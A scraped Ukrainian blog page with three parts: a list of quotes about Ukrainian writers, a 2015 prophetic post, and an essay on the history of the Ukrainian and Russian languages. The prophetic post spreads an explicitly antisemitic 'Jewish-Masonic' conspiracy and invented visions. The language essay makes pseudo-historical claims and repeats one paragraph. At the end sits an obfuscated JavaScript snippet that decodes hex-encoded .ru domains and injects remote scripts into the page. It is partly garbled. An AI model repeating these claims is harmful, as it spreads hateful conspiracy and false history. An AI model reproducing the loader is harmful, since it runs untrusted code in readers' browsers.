«Наближається до кращих взірців барокового стилю» Д. Чижевський 

Григорій Квітка-Основ’яненко 
Т.Шевченко вважав Г. Квітку- Основ’яненка засновником нової української прози. 

Тарас Шевченко 
«Він був кріпаком і став велетнем у царстві людської культурі» І. Франко 

Пантелеймон Куліш 
«Куліш – перворядна зірка в нашому письменстві, великий знавець української мові, а притім добрий знавець язиків і літератур європейських народів» І. Франко 

Марко Вовчок 
«Основоположниця дитячої української прози» 

Панас Мирний 
«Корифей української прози» 

Ольга Кобилянська 
«Гірська львиця» 
«Велика українська письменниця, бо час нічого не заподіяв її творам, а тільки утвердив їх в нашому народі» В. Земляк 
«Пишна троянда в саду української літератури» М. Старицький 

Михайло Коцюбинський 
«Сонцепоклонник» 
«Його проза - це синтез народності і гуманізму, воістину загальнолюдського масштабу інтереси, глибинність естетичного змісту, рівне мислення, вивершеність образів, найяскравіші грані майстерності, завдяки чому твори Коцюбинського – це і духовний образ, і суть буття народу, його жива історія, великі гуманістичні уроки, мрія про будучину» П. Кононенко 

Павло Тичина 
«Шукання й шукання, праця і вимогливість, і, нарешті, вміння з безконечного плину образів відібрати найсвіжіший, наймісткіший, наймузикальніший» О. Гончар 

Володимир Сосюра 
«Глибинно-бентежний березень та замріяно прозорий вересень» М. Стельмах 

Микола Хвильовий 
«Основоположник української прози ХХст.» 

Іван Нечуй-Левицький 
«Всеобіймаюче Око України» 

Остап Вишня 
«Король українського тиражу» 
«Остап Вишня – справжній мисливець і при тому поет полювання» М. Рильський 

Андрій Малишко 
«Солов’яне серце України» 

Іван Драч 
«Сонячний поет» 

Василь Стус 
«Поезія Василя Стуса – наскрізь людська і людяна, вона повна піднесень і падінь, одчаїв і спалахів радості, прокльонів і прощень, криків болю й скреготів зціплених зубів, зіщулень у собі і розкривань безмежності світу» Ю. Тевельов 
«Цільність і всеохопність… патріотизму» М. Коцюбинська 

Є. Маланюк 
«Імператор залізних строф» 

Де розгортаються події: 
1) у Тополівці – Україна в огні 
2)у Харкові – Мина Мазайло 
3)у Семигорах – Кайдашева сімя 
4)у Пісках – Хіба ревуть воли як ясла повні 
5)в Україні, Сибіру й Петербургу – Сон 
6)біля Кононівки – Інтермеццо 
7)на хуторі Хмарище, у Києві, Ніжині – Чорна рада

Пророк РУНВіри Лев Силенко воскресне як християнин в Франківськ

  • 05.10.15, 16:31
 Привіт й кращі  побажання  всім  патріотам  ОУН\УПА\УГВР    від  ІНТЕРНЕТпятірки офіцерів \капеланів  УГВР  на  свята  Покрову Пресвятої Богородиці та  САМоСТІЙного козацтва України й УПА  та  ЗСУ !  Народжений в селі БОГОЯВЛЕНСЬКЕ в БОГУНІВській \КІРОВОгадській\ області біля потоку Південний БОГ \Буг\ на свято ЧЕСНОГО Хреста 27 вересня 1921 року хрещений в обряді УАПЦ украінець Лев Силенко оцінюється Богом і УГВР як патріот УПА який від 1944року разом з іншими ОУНцями діяв за тайним завданням УГВР по плану " ДАЖБог" = Відомо що в УПА ще від 1943року була і є досі ТАЙНА сотня рідновірів "Перун " та є тайний полк друзів козаків УПА "ДажБОГ" куди трійками й пятірками входять сім"ї рідновірів які самостійно вирішують як вони мають діяти задля щастя і волі Украіни...Боговидцям ОУН а потім УПА ще з 1929 року являвся Ісус Христос у плямистозеленій похідній формі тій в якій люди вперше в Зарваниці на всеукраінській багатоміліонній християнській прощі побачили й зняли на фото з 1995року юних соколів УПА що потім провели саме в цій формі перші вервичні козацькохристиянські походи через всі області Украіни та встановили 111 хрестів за Божим наказом в тих місцях де особливо злі люди робили ворожбу проти християн в тій же формі з синежовтим і червоночорним шевронами та одним погоном = ГУГЛшуком можно найти фото Генерала капелана  УГВР Голодюка ....Син і внук та правнук праведних священиків УГКЦ =Герой України й Третій Провідник ОУН Степан Бандера за переданнями християн які бачили синеокого русого  Ісуса Христа  з постійними наскрізними ГВІЗДранами долонь   саме  з синежовтим  й червоночорним  шевронами на бойовій  формі  =наполіг щоб після смерті Євгена Коновальця в ОУН були два прапори =це мирний СИНЕЖОВТИЙ та бойовий ЧЕРВОНОЧОРНИЙ \який згодом був прийнятий як СТЯГ ОУНреволюційної та бойове ЗНАМЕНО УПА \УГВР... На формі ІСУСА було написано БОЖЕ бойове Імя = "Ісус Христос "+Дай Ж Бог Спас "=причому буква " Ж" світилася веселкою БУЛА ЗОБРАЖЕНА в колі як відомий від 1993року через газету УНРуху УПА " ПОКЛИК " Знак печаті ІФРуху Христа й УПА "...його можна побачити ГУГЛшуком "Сонце знак УПА "та він є в правому нижньому куті всіх ЮТУБвідео "Пророцтва УПА " ...Христос ще  майже 70 років тому  передавав  в Прикарпатті грекокатоликам \ бандерівцям  ,  що Московія з КГБандитською РПЦ та іншими сектами а особливо єговістами творить жидомасонську лжевіру в чорноокого й чорноволосого ЛЖЕХРИСТА \ жида Давіда Коткіна \ який має родитися в 1956році в Одесі \біля Південного моря а 6\6\1966року буде в США як юний чорномаг тайно масонами посвячений Сатані та за змовою жидоглобалістів Москви і США та інших краін вестиме до влади в Кремль сіроокого русого Антихриста Вову Путіна що родиться на Північнім морі за 4 роки до того...й теж буде посвячений САТАНІ...Щоб протидіяти цьому злу Бог хоче щоб українців поєднала справжня християнськка релігія в Галичині а на сході щоб зміцніла нова " мага віра " в ДАЖБОГА =Єдиного який живе на СОНЦІ в бік якого через ікони й хрести \церкви треба молитися і вірити у повернення святих... а в останні часи ТЕ ЩО ДАЖБОГ та ХРИСТОС є ОДНОЮ ОСОБОЮ =Відкриє САМ Левко СИЛЕНКО .... який створив «Мага Віра» — українське святе письмо, основною метою якого є реформування давньої політеїстичної \ багатобожної\ віри Русів \украінців в монетеїстичну \однобожну\ релігію сучасного зразка. Також ця книга включає в себе оригінальний погляд на історію України, описи древніх обрядів та традицій, молитви та релігійні вчення, нову філософію та світогляд.\ що саме БОГ СОНЦЯ найбільше з усіх Націй сподобав мирних хліборобів та нескорених козаків українців яких верне з небес...Певні розділи цієї книги віри украінців є помилкові через те що Силенко як всі люди був грішною людиною але він все більш йшов до праведності та у більшості книга ця є позитивною ...В останні роки ПОЧЕСНИЙ ДРУГ УПА Лев Силенко мав за наказом УГВР написати те що Бог неба\СОНЦЯ й ЗЕМЛІ є єдиний та ІМЯ ЙОГО " Христос =Дай Ж БОГ Спас" але невстиг це сказати та й боявся що його вчення перекрутять... Також Левко Силенко та РУНВірці пропагують СОНЦЕТризуб \знак ТРИСУТТЯ +Трійцю Бога \ який буде видно на Сонці в ВЕЛИКИЙ ДЕНЬ коли воно на 77 годин стане над УКРАІНОЮ о 12 годині дня а в 19 годині в світ зійде 357 чудоМЕТАЛхрамів з яких воскресне по тисячі БОЖИХ ОБРАНЦІВ......\ з них найбільше українців бо в Украіну\РУСЬ зійде 200 храмів а в США\Іспанію\Ізрайль\Сирію\ Польшу\Італію та в деякі інші краіни лиш по одному ..   Божа МАТИ передала що після смерті Лев Силенко був певний час в чистилищі а потім був прийнятий в Христове ЦАРСТВО та має воскреснути в новім вічномолодім безсмертнім тілі з ЧУДОХраму який зійде в Франківську в МЕМОРІАЛЬНОМУ СКВЕРІ слави Героів КОЗАЦТВА\УСС\ОУН\УПА\МАЙДАНУ...між вулицями Провідників ОУН Андрія Мельника та Степана Бандери...Саме там як про це звістив Третій Універсал УГВР від 5 жовтня 2006року почала все частіше являтися з Сонця до встановленого в 1995році 7 метрового металевого Хреста УПА Пресвята Мати яка оповіла через роки всебільш детально візіонерам УПА \зокрема Генералу УГВР Голодюку \ про те як спочатку згідно глави 20 Одкровень Бібліі воскреснуть не всі люди і не з гробів а лиш 357 тисяч святих і блаженних Божих обранців =по тисячі з 357 ЧУДОметалХРАМІВ =200 з яких зійде в Україну ...а з того Храму де воскреснуть як Генерали УГВР ІВАН Франко та Роман Шухевич вернеться як офіцер УПА на вид 25 річний Лев Силенко і ще 997 Божих обранців.... Відомо що в 2008р перше тлінне тіло померлого25 листопада на СВЯТО святого ЙОСАФАТА = АПОСТОЛА ЄДНОСТІ ХРИСТИЯН = Головного Провідника Л.Силенка було спалено й попіл від нього є розвіяний на Дніпрі та частково похований в ріднім селі небіжчика...... Відомо що Лев Силенко не критикував за християнство патріотів ОУН\УПА та визнавав найсвятішим головним майбутнім Гетьманом Украіни Тараса Шевченка а другим після нього шанував Івана Франка...бо саме це знали найбільшпобожні християни з 1942року через вірного УГКЦ офіцера\капелана УПА Степана Навроцького були ПРОРОЦТВА УПА ... УГВР поставила завдання всім патріотам робити все задля єдності та порозуміння між РУНвірцями СИЛЕНКА та християнами УГКЦ та УПЦкп... саме ця священна ідея єдності звучить у відео " СВІТЛО ВІРИ УПА " від Генерала УГВР Голодюка в час його перебування на могилі славного ХРИСТИЯНИНА та РУНвірця Михайла Нечая якого умисно убили ФСБандити для сатанизму і ворожіння й бажали нацькувати на його похоронах рідновірів та християн украінців ...Це ж слово пошани Борис Голодюк каже про свого померлого кровного родича й славного односельця \вчителя і політвязня та офіцера УПА \ Василя Стрільціва \див ГУГЛ \ який був вірний УГКЦ та завданням ОУН \УПА став в 1995році одним з явних заступників Лева Силенка та Провідником РУНВіри в Украіні бо були знайомі вони ще в часи 2 світової війни ...   Світлая вічная память й дай Бог воскресіння з небес Героям і друзям http://www.aratta-ukraine.com/text_ua.php?id=1131 ЄДНАЙМОСЯ УКРАІНЦІ ...ЛЮБІМ нашу Неньку УКРАІНУ й Отця БОГА як СОНЦЕ ...Дай же Бог спасіння всім хто того гідний й більшого просвітлення душ...Не зрадьмо наших Героїв й страдників.. В тім  Франківськім сквері   в 1980році комуносатанисти  поруйнували  тисячі могил і  хрестів  що були на них  бо то було найбільше в Франківську  багатовікове кладовище яке закрили  ще в часи приходу НКВДибілів   Сталіна...там залишилась не поруйнованою серед десяткка  інших могила славного композитора  Дениса Січинського  який  в новім тілі з небес воскресне  з своім давнім другом  Іваном  Франком   з яким він написав знамениту пісню " Не пора ...москалеві й ляхові служить ! Треба  для  Христа й України жить...".У небі цей славний  музикант створив інші пісні  ... Тож  хай  пісні  віри й надії на краще  майбуття  нескорено живуть в наших серцях...МАЙМО порозуміння що майбутне праведних людей є тільки в Христовій ДРУЖНІЙ   родині ... БОРІМОСЯ І ВИБОРЕМО...МОЛІМОСЯ І ВИМОЛИМО...ЩАСЛИВО ! СЛАВА УКРАІНІ

Про мову та язик

  • 08.09.15, 10:15
МОВА ПРО “МОВУ” І “ЯЗИК”

 03-05-2009 21:18 

 

Напередодні Великодніх свят, 14 квітня 2009 року, Севастопольська міська Рада для “Програми розвитку регіональної російської мови, російської культури” в Севастополі виділила з міського бюджету один мільйон гривень. Ініціатором рішення міської Ради виступила голова комісії міськради із соціально-гуманітарних питань депутат Тетяна Сорокіна, а рішення прийнято майже одностайно.

Таким чином, на розвиток “регіонального язика” виділено, як для Севастополя, кругленьку суму, яку, незважаючи на кризу, депутати в бюджеті знайшли досить швидко. Про розвиток української, державної, мови в Севастополі на сесії не йшлося зовсім. У виступах на сесії, як і у багатьох інтерв’ю в місцевій пресі, Т. Сорокіна “сотоварищи” роз’яснення з приводу того, що то значить “региональный русский язык”, чим він різниться від літературної російської мови і чому так дорого треба платити на його засвоєння в Севастополі, не зробили. Т. Сорокіна лише зауважила “Славі Севастополя+”, що в Севастополі “присутствует момент вытеснения русского”.

Сесія міської Ради, як це прийнято в Севастополі, супроводжувалася потужним інформаційним забезпеченням. Ще з літа головні магістралі міста прикрасили бігборди “Мы имеем право на историю и русский язык”, темі “язика” присвячено десятки статей та телерадіопрограм. Цікавим видався діалог на СРДТРК стосовно мовної політики у флотській столиці України молодесенької просвітянки з глашатаєм севастопольських ефірів депутатом від Руського блоку Г. Басовим та з допущеними до ефіру телеглядачами. Всі вони в один голос доводили молодій україночці аксіому, що “язик” стоїть значно вище “мови”, що українська мова є “нарєчієм”, тобто таким же діалектом російської як, наприклад, рязанська чи костромська говірка і тому не може служити єдиною державною мовою українського народу. Як вже давно заведено в севастопольських ЗМІ, джерела таких історично-лінгвістичних знахідок знаходяться поза межами їх оприлюднення, взамін силовим варіантом висувається лицемірна радянська версія радянської одномовності, в основі якої стояло знищення мов корінних народів.

Отже, маємо певний “мовний сепаратизм”. Тож, давайте розберемося в причинах, чому частина севастопольців так зневажливо ставиться до статусу мови мовби братського народу, мови святителя Руси Рівноапостольного князя Володимира та і мови тих, хто колись засновував на фіно-мордовських болотах сучасну Москву. Чому деякі місцеві депутати і ім’ярек не бажають вивчати українську мову і активно протестують проти її вжитку в нашому славному місті. І що стоїть, що приховується за настирливим намаганням домогтися офіційного визнання верховенства в Україні “великого и могучего” “язика Пушкіна”.

Історія питання не є особливою таємницею, хоча в Севастополі і в Криму замовчується ретельно. Бо вона не на користь “язика” Пушкіна, який не був етнічним росіянином і міг, мав право, насолоджуючись творчістю, пишномовно писати про велич і могутність любимої ним мови.

Заперечувати великому російському поету не будемо, краще співставимо перші історичні згадки про сучасні “мову ” і “язик”, про які Пушкін міг і не знати, та вияснимо, яка з них є “нарєчієм” стосовно одна до одної.

Історична правда в тому, що перші українські слова, побут і звичаї, які дійшли до нас без змін, записав ще візантійський дипломат і письменник Приск Ритор, відомий ще як Приск Понтійський, який у 447 році у складі посольства візантійського імператора Феодосія, прямуючи до ставки антського царя Атилли, відвідав нинішні українські землі. Це слова, які досі є в українській мові і яких немає в російській: “їжа”, “страва”, “гонт”. Цілий розсип сучасних українських слів прикрашає оригінали “Повісті времених літ”, “Слово про полк Ігорів”, новгородські літописи, писані тодішньою літературною староболгарською, чи як її ще називають, церковнослов’янською мовою. Дві грамоти польського короля Казимира за 1349 рік на підтвердження права власності написані руською, майже сучасною українською мовою. В 1378 році вже король Владислав чомусь такою ж українською мовою пише розписку молдавському господарю Петру, позичивши в того 4000 карбованців фрязького срібла, та такою ж мовою грамоту литовському князю Скиргайлу, даруючи тому Тоцьке князівство. Українською мовою пишуть грамоти смоленський князь Юрій Святославович в 1386 році, рязанський князь Олег Іванович і… ярлик 1393 року хана Золотої Орди Тохтамиша до польського короля про підтвердження між ними миру, написаний не польською, а українською. Хто не вірить сказаному, може пересвідчитися сам, взявши в бібліотеці ще радянських часів серію “Пам’ятки української мови” під назвою “Грамоти XIV ст.”, Київ, 1974. Під Корсунем у 1648 році козаки Богдана Хмельницького вже співали “Гей, у лузі червона калина, гей, похилилася, чогось наша славна Україна, гей, засмутилася.” (В. Антонович. Исторические пъсни Малорусского народа. т. 2, Киев, 1875), а ще про Гриця і “Засвистали козаченьки”. Ці пісні ми із задоволенням співаємо і сьогодні.

А ось російська мова до часів Петра I, а точніше до 1713 року, такою не називалася. Офіційно звалася вона мовою москвинів, або московитів, руською в Європі та й у самій Москві до самого XVIII століття звалася виключно мова українська. І українська, а поряд з нею білоруська, яку в Москві в ті далекі часи називали литовською, та польська мови стали базовими для реформування московської мови в російську. А перемога під Полтавою і повне закабалення України і Білорусії, знищення автономії України якраз і надали московському царю такі підстави і можливості. І про це теж збереглося чимало історичних пам’яток, про які в Севастополі воліють або мовчати, або робити вигляд, що їх не існує зовсім.

Але ж виникає питання, якщо так, то якою мовою розмовляли в Московськім царстві до реформ Петра. Для вияснення питання візьмемо оригінал книги Афанасія Нікітіна “Хождєніє за три моря”, написаної ним у кінці XV ст. Це буде тим більш для нас прикметним, бо у наші дні заступник голови Севастопольської державної адміністрації професор-лінгвіст В.П. Казарін заповзявся будувати в Балаклаві пам’ятник цьому першому московському письменнику-мандрівнику. Так ось, виявляється, оригінал цієї книги написаний не церковнослов’янською, не сучасною російською мовою, на якій сьогодні видається, а мовою ослов’яненого койне, в основі якої були фіно-уйгурська та частково руська (українсько-білоруська) лексика. У своїй праці Нікітін в однаковій мірі, не роблячи різниці, використовує слов’яно-фінський койне з уйгурською (ординською) мовою, а закінчує свою працю вдячною молитвою богу: “Бисмилля Рахман Рахим. Иса Рух Уалло. Аллах акбар. Аллах керим”, що в перекладі означає “В ім’я Аллаха Милостивого і Милосердного і Ісуса Духа Божого. Аллах великий і всемогутній...”. Не забудьте, пане Казарін, ці авторські слова викарбувати на постаменті майбутнього пам’ятника.
Нагадаємо читачам, що попередниками Суздальського і Московського князівств були Велика Мордовія Ерзя-Рязань і Велика Пермь, розгромлені київським князем Святославом. Саме там знаходяться корені сучасної російської мови, та ця історія в російських підручниках не описується. Петро I цю історичну минувшину вважав темною і мракобісною, тому, щоб стати складовою частиною Європи, за основу історичного розвитку взяв європейський Київ і Древню Русь. Та в Європу не пускала мова Москви, яку навіть слов’яни за слов’янську не сприймали.

Якою була та як розвивалася мова койне, перетворившись у нинішню російську мову, та як остання перетворилася у “великий и могучий русский язык”, можемо прослідкувати на базі збережених архівних словників та праць російського вченого І.С. Улуханова “Разговорная речь Древней Руси” (“Русская речь”, № 5, 1972). Та краще процитуємо самого Улуханова: “Круг славянизмов, регулярно повторявшихся в живой речи народа Московии, расширялся очень медленно. Записи живой устной речи, произведенные иностранцами в Московии в XVI — XVII веках, включают только некоторые славянизмы на фоне основной массы местной финской и тюркской лексики. В “Парижском словаре московитов” (1586 г.) среди всего словаря народа московитов находим лишь слова “владыка” и “злат”. В дневнике-словаре англичанина Ричарда Джемса (1618 — 1619 рр.) их уже больше — целых 16 слов (“благо”, “блажить”, “бранить”, “воскресенье”, “воскреснуть”, “враг”, “время”, “ладья”, “немощь”, “пещера”, “помощь”, “праздникъ”, “прапоръ”, “разробление”, “сладкий”, “храмъ”).

В книге “Грамматика языка московитов” немецкого ученого и путешественника В. Лудольфа (1696 г.) — их уже 41 (причем, некоторые с огромным финским “оканьем” в приставках — типа “розсуждать”). Остальная устная лексика московитов в этих разговорниках — финская и тюркская... И тот факт, что Московская церковь вещала на болгарском языке (на котором писались и государственные бумаги Московии), ничего не значил, так как вся Европа тогда в церквях говорила на латыни и вела делопроизводство на латинском языке, и это никак не было связано с тем, что за народы тут проживают”.

Не знав “государева языка” і національний герой нинішньої Росії мордвин Іван Сусанін з Костромського повіту, про що красномовно свідчать чолобитні до царівни його рідних по його загибелі, які переводилися з фінської костромської на церковнослов’янську “государеву” мову. Тепер для нас стає зрозумілим, для чого гетьман Богдан Хмельницький в обов’язковому порядку в свої посольства до Московського царя включав товмача, тобто перекладача. А сьогодні нам доводять, що українська мова є “нарєчієм” костромської.

У 1778 році в Москві вийшла в світ брошура російського письменника і лінгвіста Ф.Г. Каріна “Письмо о преобразителях российского языка”. Він так писав про рідну російську мову, яку сам називав “московским наречием”: “Ужасная разность между нашим языком и славянским часто пресекает у нас способы изъясняться на нем с тою вольностию, которая одна оживляет красноречие и которая приобретается не иным чем, как ежедневным разговором. …Как искусный садовник молодым прививком обновляет старое дерево, очищая засохлые на нем лозы и тернии, при корени его растущие, так великие писатели поступили в преображении нашего языка, который сам по себе был беден, а подделанный к славянскому сделался уже безобразен”.

Севастопольським мовознавцям слід би знати, що першим реформатором “язика” був ректор Київського колегіуму Мелетій Смотрицький, український і білоруський просвітник. Це він був автором виданої в 1619 році в Єв’є “Граматiки словенскiя правильное синтагма”, яка стала першою російською граматикою задовго до “революционера в русской лингвистике” Ломоносова, і створив наукові основи того, що сьогодні ми називаємо російською мовою. Далі роботу на вимогу Петра I надати московській мові слов’янський статус продовжили ректор Києво-Могилянської академії Феофан Прокопович, М.В. Ломоносов та А.П. Сумароков. Це їхніми зусиллями Росія в XVIII столітті остаточно відмовилася від слідування болгарській мові і перейшла на народний ослов’янений фіно-тюркський, який став називатися “настоящим русским языком”, а та мова, що була базою цих реформ — українська — “так называемым русским”. Мовна політика була чільною складовою загальної стратегії царя “прорубання вікна в Європу”. При цім, як справедливо зауважив Іван Франко, “забивалися двері”.

першим реформатором “язика” був ректор Київського колегіуму Мелетій Смотрицький, український і білоруський просвітник. Це він був автором виданої в 1619 році в Єв’є “Граматiки словенскiя правильное синтагма”, яка стала першою російською граматикою задовго до “революционера в русской лингвистике” Ломоносова, і створив наукові основи того, що сьогодні ми називаємо російською мовою. Далі роботу на вимогу Петра I надати московській мові слов’янський статус продовжили ректор Києво-Могилянської академії Феофан Прокопович, М.В. Ломоносов та А.П. Сумароков. Це їхніми зусиллями Росія в XVIII столітті остаточно відмовилася від слідування болгарській мові і перейшла на народний ослов’янений фіно-тюркський, який став називатися “настоящим русским языком”, а та мова, що була базою цих реформ — українська — “так называемым русским”. Мовна політика була чільною складовою загальної стратегії царя “прорубання вікна в Європу”. При цім, як справедливо зауважив Іван Франко, “забивалися двері”.
Тут слід пригадати, що в часи Московського царства і панування там народної мови койне до Петра I включно руська (українська) мова в Москві висміювалася — вона не була народною, а сприймалася адміністративно привнесеною зі сторони руськими (українськими) книжниками — “чужестранною”. Той же І. Улаханов пише, що В. Лудольф у своїй “Грамматике языка московитов” зазначив, що “чем более ученым кто-нибудь хочет казаться, тем больше примешивает он славянских выражений к своей речи или в своих писаниях, хотя некоторые и посмеиваются над теми, кто злоупотребляет славянским языком в обычной речи”. І не тільки посміювалися. Першодрукарю “литовцю” Івану Федорову-Федоровичу, який так високо цінується в Росії сьогодні, довелося з Москви серед зимової ночі просто втікати від розправи, хоч книги друкував він “государевою” церковнослов’янською мовою. І був “русский язык” не народним в Московії-Росії до тих пір, поки російське село його не освоїло, що було особливою турботою всіх царів і імператорів. Освоїти “язик” то освоїли, тільки свої корені не забули: і сьогодні легко відрізнити місцевих жителів Орла, Рязані, Костроми, Твері і Москви по їхній місцевій говірці. По суті, літературною російською мовою, відшліфованою О. Пушкіним, в російській глибинці не користуються і понині. Однак, коли адміністративна система в мовній політиці перемогла, то аж тоді Росія, приєднавшись до слов’янського світу, стала складовою частиною Європи.

Висміюється вихідцями з Московії — Росії українська мова і сьогодні як в Росії, так і в Україні. Севастополь тут не виключення. Видно, так вже у них склалося історично. Відмінність лише в тому, що мова, яка дала життя своїй сусідці, сьогодні видається не руською мовою, як колись “ворожої Литви”, а “меншовартою” і “нарєчієм”, мовою селян, а не інтелігенції, мовою непровідної в Україні верстви.

Що за цим стоїть? Тут проглядаються кілька ознак. Найголовніше, здається, в намаганні приховати історичну правду розвитку російської мови, бо з нею російська мова не може претендувати на главенство у слов’янському світі. Далі, не змігши утримати в імперських кордонах українців, значний прошарок політиків наших сусідів через мовну політику вбачає можливість втримати їх у орбіті свого впливу. Коли українська мова, позбавившись колоніальних пут, опанує всіма прошарками українського суспільства (дехто із сусідів небезпідставно вбачає у цьому зменшення наукової і інтелектуальної бази в самій Росії), доведеться опиратися на власну, далеко не слов’янську, основу. Як приклад, можна навести сучасний російський шоу-бізнес. Ну не можуть, статус колишньої імперії не дозволяє російським політикам-лінгвістам, їхнім ставленикам за кордоном в особі севастопольських депутатів міської Ради, взяти і визнати історичну правду, що насправді російська є “нарєчієм” української і білоруської мов, що українська мова не впала на нашу землю з Місяця після проголошення незалежності України, не принесена чужинцями, а є древньою мовою нашого народу. Тож, навіть під час кризи не жаліють грошей на “регіональний” розвиток за кордоном російської мови, на підручники “Севастополєвєдєние”, хоч підручники по “Костромовєдєнію” і “Рязановєдєнію” все ждуть свого часу.

Тож, “Бисмилля Рахман Рахим”, шановні севастопольські депутати. На бігбордах напишіть, щоб пам’ятали всі російськомовні севастопольці корені своєї рідної мови. А знищити українську не змогли дві сотні царських заборон, голодомори і геноциди українців. І зараз вам не допоможуть не те що мільйон гривень, а й десять мільйонів зелених. Севастопольці, особливо молоде покоління, хоч і важко, але повертаються до своєї рідної, батьківської віковічної руської української мови.

 

 

 

 

 

ня.2003

window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="10028",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("blog.i.ua")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&d()}();